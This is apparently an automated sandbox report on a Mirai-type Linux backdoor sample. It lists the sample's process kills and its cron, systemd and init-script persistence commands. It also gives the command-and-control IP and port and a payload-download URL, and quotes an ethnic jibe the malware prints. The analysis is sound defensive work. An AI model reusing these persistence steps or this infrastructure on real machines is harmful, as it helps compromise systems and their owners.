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Linux Analysis Report
g4.elf

Overview

General Information

Sample name:	g4.elf
Analysis ID:	1589852
MD5:	136fb2d91874d959cfd902863dbaaa5b
SHA1:	e924e85331e5a9100fe2cc3ab7f3824e6f4defe2
SHA256:	1ca51bb1da94ef8e16810e8b03f86694d3fba5cd46915cdba67f7ba82482234e
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Drops files in suspicious directories

Executes the "crontab" command typically for achieving persistence

Sample tries to kill multiple processes (SIGKILL)

Sample tries to persist itself using cron

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Reads system information from the proc file system

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589852
Start date and time:	2025-01-13 08:52:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	g4.elf
Detection:	MAL
Classification:	mal64.spre.troj.evad.linELF@0/6@0/0

Warnings

VT rate limit hit for: http://103.136.41.100/g4

Runtime Messages

Command:	/tmp/g4.elf
PID:	5427
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5414, Parent: 3590)

rm (PID: 5414, Parent: 3590, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.uBHxhDQd7Y /tmp/tmp.K3ToqUjpQk /tmp/tmp.A4ESWgLvug

dash New Fork (PID: 5415, Parent: 3590)

rm (PID: 5415, Parent: 3590, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.uBHxhDQd7Y /tmp/tmp.K3ToqUjpQk /tmp/tmp.A4ESWgLvug

g4.elf (PID: 5427, Parent: 5350, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/g4.elf

g4.elf New Fork (PID: 5444, Parent: 5427)

sh (PID: 5444, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload > /dev/null 2>&1"

sh New Fork (PID: 5450, Parent: 5444)

systemctl (PID: 5450, Parent: 5444, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

g4.elf New Fork (PID: 5454, Parent: 5427)

sh (PID: 5454, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start hello.service > /dev/null 2>&1"

sh New Fork (PID: 5461, Parent: 5454)

systemctl (PID: 5461, Parent: 5454, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start hello.service

g4.elf New Fork (PID: 5462, Parent: 5427)

sh (PID: 5462, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"

sh New Fork (PID: 5467, Parent: 5462)

crontab (PID: 5467, Parent: 5462, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab /tmp/crontab.tmp

g4.elf New Fork (PID: 5468, Parent: 5427)

sh (PID: 5468, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/etc/init.d/hello > /dev/null 2>&1"

sh New Fork (PID: 5474, Parent: 5468)

g4.elf New Fork (PID: 5476, Parent: 5427)

g4.elf New Fork (PID: 5478, Parent: 5476)

g4.elf New Fork (PID: 5480, Parent: 5478)

g4.elf New Fork (PID: 5485, Parent: 5478)

g4.elf New Fork (PID: 5487, Parent: 5478)

xfce4-panel New Fork (PID: 5431, Parent: 3147)

wrapper-2.0 (PID: 5431, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5432, Parent: 3147)

wrapper-2.0 (PID: 5432, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5433, Parent: 3147)

wrapper-2.0 (PID: 5433, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5434, Parent: 3147)

wrapper-2.0 (PID: 5434, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 5435, Parent: 3147)

wrapper-2.0 (PID: 5435, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5442, Parent: 3147)

wrapper-2.0 (PID: 5442, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

systemd New Fork (PID: 5452, Parent: 5451)

snapd-env-generator (PID: 5452, Parent: 5451, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: g4.elf	Virustotal: Detection: 38%			Perma Link
Source: g4.elf	ReversingLabs: Detection: 39%

Source: global traffic

TCP traffic: 192.168.2.13:52100 -> 77.90.22.16:5625

Source: global traffic

TCP traffic: 192.168.2.13:48655 -> 1.1.1.1:53

Source: /tmp/g4.elf (PID: 5427)

Socket: 127.0.0.1:23476

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16

Source: g4.elf	String found in binary or memory: http://%d.%d.%d.%d/%s
Source: g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	String found in binary or memory: http://1/wget.sh
Source: crontab.tmp.16.dr, hello.16.dr, hello.service.16.dr, tmp.PQrdMA.42.dr	String found in binary or memory: http://103.136.41.100/g4
Source: g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	String found in binary or memory: http://9/curl.sh
Source: g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5431, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5432, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5433, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5434, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5435, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5442, result: successful	Jump to behavior

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5431, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5432, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5433, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5434, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5435, result: successful	Jump to behavior
Source: /tmp/g4.elf (PID: 5427)	SIGKILL sent: pid: 5442, result: successful	Jump to behavior

Source: classification engine

Classification label: mal64.spre.troj.evad.linELF@0/6@0/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 5467)

Crontab executable: /usr/bin/crontab -> crontab /tmp/crontab.tmp

Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 5467)

File: /var/spool/cron/crontabs/tmp.PQrdMA

Jump to behavior

Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/5271/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/5271/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/5271/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/5271/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/5271/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/g4.elf (PID: 5487)	File opened: /proc/767/cmdline	Jump to behavior

Source: /tmp/g4.elf (PID: 5444)	Shell command executed: sh -c "systemctl daemon-reload > /dev/null 2>&1"	Jump to behavior
Source: /tmp/g4.elf (PID: 5454)	Shell command executed: sh -c "systemctl start hello.service > /dev/null 2>&1"	Jump to behavior
Source: /tmp/g4.elf (PID: 5462)	Shell command executed: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"	Jump to behavior
Source: /tmp/g4.elf (PID: 5468)	Shell command executed: sh -c "/etc/init.d/hello > /dev/null 2>&1"	Jump to behavior

Source: /usr/bin/dash (PID: 5414)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.uBHxhDQd7Y /tmp/tmp.K3ToqUjpQk /tmp/tmp.A4ESWgLvug			Jump to behavior
Source: /usr/bin/dash (PID: 5415)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.uBHxhDQd7Y /tmp/tmp.K3ToqUjpQk /tmp/tmp.A4ESWgLvug			Jump to behavior

Source: /bin/sh (PID: 5450)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 5461)	Systemctl executable: /usr/bin/systemctl -> systemctl start hello.service			Jump to behavior

Source: /tmp/g4.elf (PID: 5427)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/g4.elf (PID: 5427)

Writes shell script file to disk with an unusual file extension: /etc/init.d/hello

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/g4.elf (PID: 5427)

File: /etc/init.d/hello

Jump to dropped file

Source: /tmp/g4.elf (PID: 5427)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5435)	Queries kernel information via 'uname':			Jump to behavior

Source: g4.elf, 5427.1.00007ffd94678000.00007ffd94699000.rw-.sdmp, g4.elf, 5476.1.00007ffd94678000.00007ffd94699000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/g4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/g4.elf
Source: g4.elf, 5427.1.000055573d0a7000.000055573d1f8000.rw-.sdmp, g4.elf, 5476.1.000055573d0a7000.000055573d1f8000.rw-.sdmp	Binary or memory string: =WU!/etc/qemu-binfmt/arm
Source: g4.elf, 5427.1.000055573d0a7000.000055573d1f8000.rw-.sdmp, g4.elf, 5476.1.000055573d0a7000.000055573d1f8000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: g4.elf, 5427.1.00007ffd94678000.00007ffd94699000.rw-.sdmp, g4.elf, 5476.1.00007ffd94678000.00007ffd94699000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: g4.elf, 5427.1.00007ffd94678000.00007ffd94699000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.3s1YMz
Source: g4.elf, 5427.1.00007ffd94678000.00007ffd94699000.rw-.sdmp	Binary or memory string: :WUNv:WU/tmp/qemu-open.3s1YMz:

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 File Deletion	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
g4.elf	38%	Virustotal		Browse
g4.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://103.136.41.100/g4	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://%d.%d.%d.%d/%s	g4.elf	false		high
http://103.136.41.100/g4	crontab.tmp.16.dr, hello.16.dr, hello.service.16.dr, tmp.PQrdMA.42.dr	false	Avira URL Cloud: malware	unknown
http://1/wget.sh	g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	false		high
http://9/curl.sh	g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	g4.elf, 5427.1.00007f9d88033000.00007f9d88039000.rw-.sdmp, g4.elf, 5476.1.00007f9d88033000.00007f9d88039000.rw-.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.90.22.16	unknown	Germany		12586	ASGHOSTNETDE	false
1.1.1.1	unknown	Australia		13335	CLOUDFLARENETUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.90.22.16	g3.elf	Get hash	malicious	Unknown	Browse
	g5.elf	Get hash	malicious	Unknown	Browse
	g4.elf	Get hash	malicious	Unknown	Browse
	g6.elf	Get hash	malicious	Unknown	Browse
	g3.elf	Get hash	malicious	Unknown	Browse
	m1.elf	Get hash	malicious	Unknown	Browse
	m5.elf	Get hash	malicious	Unknown	Browse
	m2.elf	Get hash	malicious	Unknown	Browse
1.1.1.1	watchdog.elf	Get hash	malicious	Xmrig	Browse	1.1.1.1:8080/
	6fW0GedR6j.xls	Get hash	malicious	Unknown	Browse	1.1.1.1/ctrl/playback.php
	PO-230821_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.974dp.com/sn26/?kJBLpb8=qaEGeuQorcUQurUZCuE8d9pas+Z0M0brqtX248JBolEfq8j8F1R9i1jKZexhxY54UlRG&ML0tl=NZlpi
	AFfv8HpACF.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
